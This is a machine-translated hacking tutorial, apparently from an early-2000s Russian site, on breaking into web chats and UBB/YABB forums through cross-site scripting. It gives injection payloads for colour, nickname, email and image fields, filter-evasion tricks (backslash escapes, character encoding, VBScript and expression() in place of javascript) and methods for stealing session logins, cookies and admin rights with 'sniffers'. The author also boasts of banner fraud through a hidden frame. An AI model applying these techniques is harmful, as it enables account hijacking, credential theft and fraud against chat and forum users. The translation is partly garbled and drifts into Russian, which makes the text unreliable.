This page has been robot translated, sorry for typos if any. Original content here.

Breaking chat part 2

  • Part 1
  • Part 2

  • Variations on the topic

    In the previous chapter, we looked at a case in which a color was inserted into the page text without restrictive quotes. And what to do if the quotes are still there? For example, the text in the chat looks like this:
    Viator - Alpha, hello))
    Alpha - Hello everyone! !!

    As you can see, the color is inserted in the framing quotes. This problem is easily solved if the chat does not filter out the ' character. If so, then we can simply close the open quote, and then write our script. For example, setting the color value as red 'size = 20' <FONT color = # 00ff00> we will again get the effect with a large font. Pay attention to the space and the apostrophe at the end. They are necessary in order that the closing quote, which the chat itself inserts, does not destroy our attributes. As a result, our message will be:

    Shram - Hi

    If the chat does not skip the quotation mark symbol that surrounds the parameter value, then it will not be possible to crack the chat via this parameter :( (. Although some things are possible here: see the end of this chapter.

    This method very often (almost always) works for the specified email address (in chatlanin parameters or in the return address field in forums and guest books). As a rule, a link to soap goes in the forums as follows:

    <b>&lt;a; Fedya Pupkin &lt;/a&gt;</b> (fragment mailto: the gateway inserts itself). Then, setting the soap value to "style = background-image: url (javascript: alert ('Well_net_you_my_washed!'))" , We send an alert to any forum visitor :) ) (note that the address of the soap, as a rule, filters the input characters are not installed). True, some forums and chats seem to check the soap, but this check comes down to the requirement of the presence of the @ symbol. If so, then we will please the creators of the forum and draw them a dog as follows: "style = background-image: url (javascript: alert ('Well_new_to_me_my_myla!'))" .

    In some chat rooms you can insert your own pictures by specifying the address of the picture. As we already know, where there is a URL, you can insert a script there. I will not even chew it. Everything is clear.

    The first chapter showed how to change the chat entry form. In particular, it was necessary to change the relative address of the action field to absolute. However, the structure of the chat can be so complex that it may take a lot of such changes. It is inconvenient to change addresses in all cases (and you can be mistaken). Instead, we can recommend the tag <base href = 'http: //'^gt; , which is inserted anywhere in the HTML document. In this case, all relative addresses will be addressed to the address specified in the base tag (in this case, on ), regardless of the real base DNS name.

    You probably know what sniffers are? If not, then I will tell you a sniffer - a very useful thing that allows you to track traffic. In the case of chat, the sniffer allows you to determine the IP addresses that are in the chat, as well as their temporary names and codes (for chats with temporary names). Sometimes it even allows you to get admin rights :) ).

    It often happens that the nickname in the chat text acts as a link, when clicked on, you can send a private message to the chat member. Here’s how it looks in HTML:

    Alpha - Hi!

    Moderator - Hi!

    In addition to the effect described in the chapter "Wonders with the = symbol," you can insert a script that triggers the click event of the link (if the chat does not filter out the limiting quotes - in this case " - and the + symbol). To do this, set the following value: "+ alert ('Hello!') +" . You can insert something more serious (just by using the function toString () ). For example, such a nickname "+ toString (open ('//', '_ top ')) + " sends the user who pokes on your nick, take a break from the chat in Yahoo :) ).

    Breaking the chat M

    As mentioned in the first chapter, there are two methods for breaking chats. All the above examples were related to the first method - the method of penetration into the parameters of the tag. Here I want to show the technology of the second method - the method of breaking the structure of HTML.

    The color of the messages in chat M was set in numeric form (and therefore had a limit on the length of the color - 7 characters), had fancy filters, but skipped a single character ' . Here is a snippet of chat messages:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt; &lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    As you can see the color is indicated without framing quotes. The hacking technology is simple: we log in under an arbitrary nickname and color ' . Then, logging into the chat, issue a message like 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Pay attention to the space at the end - it is required. Our message is as follows:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt; &lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    It turns out that part of the HTML code - class = "ku"> - was inside single quotes, and is considered by the browser as a string-value of color. The closing angle bracket of the tag gets into this line, thanks to which our message is inside the tag! The part of the code that comes directly after our message It is not understood by the browser and is ignored (and this part should be separated by a space from our style parameter, otherwise the parameter as a whole will be considered erroneous), while following the angle bracket is considered to be the closing font tag. Everything is very simple.

    Little about the backslash character

    There are one special control character in the JavaScript constant strings. This is a backslash character \ . One of its purposes is as follows: the quotation character following it is considered to be just a character, not a terminator of a string. For example:

    &lt;script&gt; alert ('It \' s') &lt;/ script&gt; - does not give an error message, since an apostrophe in combination with \ in the middle of a line is not considered to be the end of a line. While &lt;script&gt; alert ('It's') &lt;/ script&gt; gives an error message.

    Since the \ symbol itself is the control character (and therefore it does not appear directly in the string), the \\ combination exists to display itself. Such a combination is displayed as a simple \ character.

    What does all this have to do with hacking chats? And here is what: some chat rooms do not put a filter on quotes characters " (or ' ) in the nickname field, but replace them with combinations like \" (or \' ), assuming that in this case the quotes will be displayed but cannot act as limiters, and therefore cannot destroy the structure of HTML. At the same time, short-sighted developers overlook the fact that the user can also use the \ character to block their \ character. For example, a chat fragment for a user message with the nickname Sh "ram looks like this:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In this case, the quote in the nickname does not violate the structure of the tag. But if we change the nickname to Al \ "gol , then inserting a slash in front of the quotation mark will create the following HTML:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> At the same time, our slash blocks the slash of the chat, and the quote of the nick destroys the structure of HTML! This can be seen if you click on the link in the example.

    This effect can be used for hacking chats by breaking HTML structure. Note that in some cases the same method can be used to block restrictive quotes by inserting a backslash at the end of the nickname.

    Recently, I noticed another hole related to incorrect use of the symbol \ programmers chat. For example, suppose the user's nickname is inserted into the chat body as

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> If we change the trait to Al'gol , then the chat will accept such a nickname, but replace it with Al \ 'gol , naively believing that by inserting a backslash, they will protect the tag from destruction. Actually it is not :) . When you insert such a nickname in the chat body, it will look like this:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In this case, the explorer will give an error message when trying to poke at the nickname. The reason is as follows: the \ symbol only makes sense inside javascript string constants, but not HTML! HTML itself does not understand the \ character, and therefore considers the first apostrophe found to be the end of the href attribute, despite the fact that it is preceded by \ . Thus, for example, such a nickname Algol '= will destroy the structure of the tag, despite the fact that a backslash is inserted before the apostrophe

    Hacking at http level

    As already mentioned, the chat server can track the referer field of an HTTP request, and not allow it to chat if this field is different from the one you need. In order to circumvent this obstacle, you need to catch the HTTP request header sent by chat to the server (using special programs, such as Naviscope) and write a special program that sends requests to the server. In this case, the contents of the queries (for example, the color field values) can be set arbitrarily.

    I will not dwell on this in detail. This goes beyond hacking HTML.

    I note only that at the HTTP level, you can do more cunning things than conventional means of HTML or JavaScript. In any case, I recommend viewing HTTP request headers when working in chat. They will help you understand the work of the chat in more detail.

    Miracles with a symbol =

    What do you think will be displayed in the browser for such a line of HTML:

    &lt;font onclick = alert ('=')&gt; Text &lt;/ font&gt; ? I bet you won’t guess (unless of course you work at Microsoft and have not developed MSIE). The result is so specific that I could not make an example that would demonstrate it. . But you can believe the word that the following will be displayed in the browser window: &lt;fontonclick = alert ('=')&gt; Text As you can see, the opening tag in this case is simply not perceived by the browser as a tag, although there are no syntax errors. :) ). And what will happen if we write Text

    Oddly enough, in that case everything will be fine, although there is a syntax error. And if we click on the text, the alert = will pop up. Try moving the third apostrophe by the angle bracket, or by the text:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/ font&gt; It will also be an unexpected result.

    Unfortunately, I do not have the source code or detailed documentation for MSIE, but I think that in this case there is an obvious error in MSIE. Probably the browser analyzes the code in two stages. At the first stage, he selects tags, their attributes and the text that is between them, and at the second stage, he analyzes the JavaScript content of the tag parameters (this is only about those attributes that allow script values, such as href or onclick ). During the initial analysis, the browser for some reason considers the combination = 'the beginning of the line, despite the fact that the = symbol is already inside the line! Then, taking = ' for the beginning of the line, the program looks for the end (while completely forgetting that another line is open and not closed). Thus, everything that follows = ' (or = " ) and until the next character ' is ignored and counted as a string! Therefore, in the first example, the browser did not perceive the tag: it did not find the closing angle bracket because it was (as it were) inside the string. But even more surprising is that at the second stage of analyzing the tag parameters, the browser perceives everything correctly (you can make sure of this by clicking on the Text in the second example), and perceives the line where necessary, and finds the closing angle bracket also where necessary. to that fragment of a third Text second example is not displayed in plain text (because as it is not the body of the tag), but is not paramatrom tag (as at the stage of analysis parameters to the compiler it just does not come)! Flame Hi Bill!

    Using this browser error, I managed to comment out a part of the chat code, simply by logging in under a nickname = :) ). Here is a snippet of code that displayed a list of those present in the chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    In this case, my nickname in the list simply did not appear, because the fragment between the quotes

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( appeared outside the body of tags: -}. But when you click on the Moderator , the function parent.window.messageFor was called with the = parameter. Similar "effects" were also when displaying my messages in the chat.

    Remarkably (or sadly - looking for someone) that this bug goes almost everywhere where you can even enter a thread (at least for MSIE 5.50.4134.0600), and for this you don’t even need to change anything in the form. And the bad thing is that it is difficult to achieve significant benefits from this (for example, running a script).

    In conclusion, we note that the > character has a similar effect, which is perceived as the end of the tag, despite the fact that it is inside the string. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; is interpreted by the browser as erroneous, and it gives a curse that the string constant is not closed.

    Two hacking chat t

    Chat T missed the following characters in the color field:

    ' ` = ;

    When inserting color into chat, framing quotes were not there. Fragment of messages in the chat (by the way, the author of the chat apparently does not consider it necessary to close the tags)), although we hope that this is done to improve performance):

    <code>&lt;FONT COLOR=008000&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    It was embarrassing that the space was not skipped by the filter. However, after some deliberation, I found the following solution - I took the color itself into single quotes, and after the color without a space, I inserted the style parameter: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . As noted in the second chapter, the separating space is not necessary in this case. :) ).

    By the way, this chat was full of frames, including those that were hidden and empty - probably thought about any future extensions. But while admins were thinking about extensions, I found a more useful application for them. I hung in this chat for a long time - a few months. And it was not just hanging: in one of the hidden frames, I shoved my saytik. And on the site were banners banner network. So I made about hundreds of thousands of banner posters, and my website jumped to 5-6 places in the ranking of Rambler Top 100 hits (in its group). Unfortunately, the banner network correlated the ratio of hits / hosts and realized that it was being led along. It turned out that the same visitor visits my site 50 times a day. My account has been blocked. So probably still there and hanging, restless :) ).

    But back to our sheep. After some time, the administration of the chat replaced cgi-shku. I do not know what "improvements" were made in the second edition, but I just noticed one change: now the length of the line-color values ​​was limited, and was about 10 characters (by the way, this restriction is in many chats, although I don’t understand what they mean Is it not easier to put filters on the entered characters? Although perhaps this way they are protected from buffer overflow?). In this situation, of course, the old method no longer worked. You cannot cram a decent script into 10 characters (even the style itself did not fit here). I realized that you can break only through the nickname or the second method - destroying the HTML structure. I tried it for several hours. In addition to the cheap effect of the disappearance of the nick (the chapter "Miracles with the = symbol") nothing worked. Breaking the structure did not give anything for the following reason: inserting the symbol instead of color, I opened the line, but it was closed by an apostrophe that went into reference to time (here the chat was just lucky - it was not intended as a protective measure, although many chats are inserted specifically for this fictitious tags like <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    That is, only a fragment of <a href = javascript: parent.window.Mtm ( . And all I achieved was to delete this tag of a link for a time. If it were possible to insert double quotes instead of single quotes, then there would be no problem, because in the chat double quotes were not used. But the symbol "was not skipped by the filter. The entry under the nickname of the type Algol = also did not give because the symbols after 'Algol =')> were ignored and were not considered tag parameters. Of course, the variant described at the end of the chapter" Variations on theme ", but these scripts worked only when I clicked on my link and :( (. I was ready to admit that the whole chat cannot be hacked. And then, at the last moment, digging and experimenting in the depths of HTML, I discovered that the backslash character is also a terminator of HTML lines !!! And this symbol was skipped by the filter! Without thinking twice I logged in with the nickname Algol and the color ` . And then I sent the following line as the chat message: ` style = background-image: url (javascript: alert ('Win_Will be_With_a_nami!')) . My message in the chat body looked like this:

    <code>&lt;FONT COLOR="`"&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; `style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    At the same time, the fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> was fully commented and was considered as a color, and the style parameter was inside the tag! The script worked :) ).

    So chat programmers T will have to develop a new version of their offspring. It remains to be wondered how many loopholes they leave, and how slowly they correct them. They say the whole thing in psychology: the developers of protective systems cannot put themselves in the place of a burglar, but judge the system from their side, instead of looking at it from the outside.

    "Interception", "forgery" and obtaining rights.

    Consider methods for capturing other people's messages (privates) and sending messages on behalf of other chatovtsy. There are different methods of interception, designed for different types of chats. If the chat is completely hacked, then the operation is “forgery” (ie, inserting replicas on behalf of other chatovtsy) is not difficult: you only need to send the victim to a private script that will write some text on the replica line, and then press the “send” button. Similarly, you can pull out and privat user. However, such methods are too coarse, primitive and difficult to apply. More sophisticated methods of interception, in which the chat itself takes you for another user.

    When creating HTML chats, the main problem is that the HTTP protocol, in principle, does not support persistent connections. This means that every time you want to receive messages or send a reply, the chat program must “know” you, understand that you are you. If she did not recognize the users, she would not be able to send you your privates, and would not be able to write your messages on your behalf. To identify participants, chats use different methods. The most commonly used method is the IP address and the dynamic name method. The first method is based on the fact that the same user has the same IP address during the communication session. I will not dwell on this method in detail; I will only say that this method has drawbacks. In particular, it may not work if the user is using a corporate proxy server, or if he has opened several chat windows. Recently, another method has become frequently used - the method of dynamic names. The essence of the method lies in the fact that each time the user logs into the chat, he is automatically assigned a temporary unique login. This login is automatically registered in the page that the gateway sends to the user. Each time a user sends a replica form or requests messages from the chat, his page sends to the server a temporary login, by which the server actually identifies the user. Temporary login system generates randomly, and two different users can not have the same login. Login can consist of several parts. Most often this is the user's sequence number in the session, and randomly generated password. Since the login ID is “sewn up” in the chat page of each user, the system knows exactly what user it communicates with, regardless of its IP address, proxy servers, the number of open windows with chat, etc.

    It is clear that if we knew the username of the user, then we wouldn’t have had a hard time “kicking” under the user, just simply having corrected our login in his page, on his login. Then the system would take us for it ... It turns out that you can easily do this if the chat is hacked, and we have the opportunity to insert your picture into the chat. Then, if you use a sniffer as a picture (see the chapter "Variations on a theme"), then we will be able to get the temporary logins of all the chat participants! And if we are interested in someone's specific login, then you need to send him a sniffer in private. I note the following: the intercepted login is valid only as long as the user is in the chat, if he relogs (logs out and logs in again), then he will already have a new temporary login.

    It is clear that if you intercept the admin's temporary login, then his rights will automatically be transferred to us - for example, the ability to directly insert tags into messages (i.e., the absence of a filter for < and > characters), or the ability to delete from the chat, or get information about the user etc.

    Third hacking chat t

    So back to the long-suffering chat T. Not so long ago, chat T completely switched to the new core. Now the rules of the game have changed. At first, the field of color missed almost everything (right up to the < and > signs), and it was easy for me to crack it. But soon this hole was sealed (not without my participation). In the new version of the chat color missed only numbers and letters. Hacking through color has become impossible. This led to a search for more sophisticated methods. In fact, the only thing left is a nickname. From my own experience, I knew that it was rather difficult to break a chat through a nickname, as the developers chose filters for nickname quite carefully. However, in the chat, the "chip" that "the character set for the nickname has been significantly expanded" has been exaggerated. It went like a kind of advertisement. A little fiddling with filters on the nickname, I found that the following characters are missing:

    ' ` = ; \

    The symbol "was skipped, but before it chat automatically inserted the symbol \ . The mechanisms associated with this combination are described in the chapter" A little about the backslash symbol \ ". However, the effects described in this chapter did not give the desired result and were inconvenient to use. I was looking for another Solution. And I found it!

    Let's look at a fragment of messages in the chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt; &lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    As you can see, the nickname was given as a link, when clicked, a certain function was called. The link handler href was enclosed in single quotes, and the nickname itself was in double quotes. Since the double quote was not actually skipped by chat in the sense of a nickname, it was as if impossible to go beyond the bounds of the function argument. The nickname type = ` did not work, because the handler was enclosed in single apostrophes, and as shown in the chapter" Miracles with the symbol = ", the effect with the = sign did not work. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Those. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. So обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt; &lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>


    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    But that's not all. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG][/IMG] такой тег вставляет в сообщение картинку с адресом . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод"", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href= target=_blank&gt; После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) or background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    It would not be superfluous for your friends to find out this information, share the article with them!

    Comments Expand / Minimize Comments Window expand / collapse

    Commenting, remember that the content and tone of your message may hurt the feelings of real people, show respect and tolerance towards your interlocutors even if you do not share their opinion, your behavior in conditions of freedom of expression and anonymity provided by the Internet changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
    Liked? Subscribe to RSS feeds,
    to be the first to receive information
    about all the important events of the country and the world.
    You can also support, click: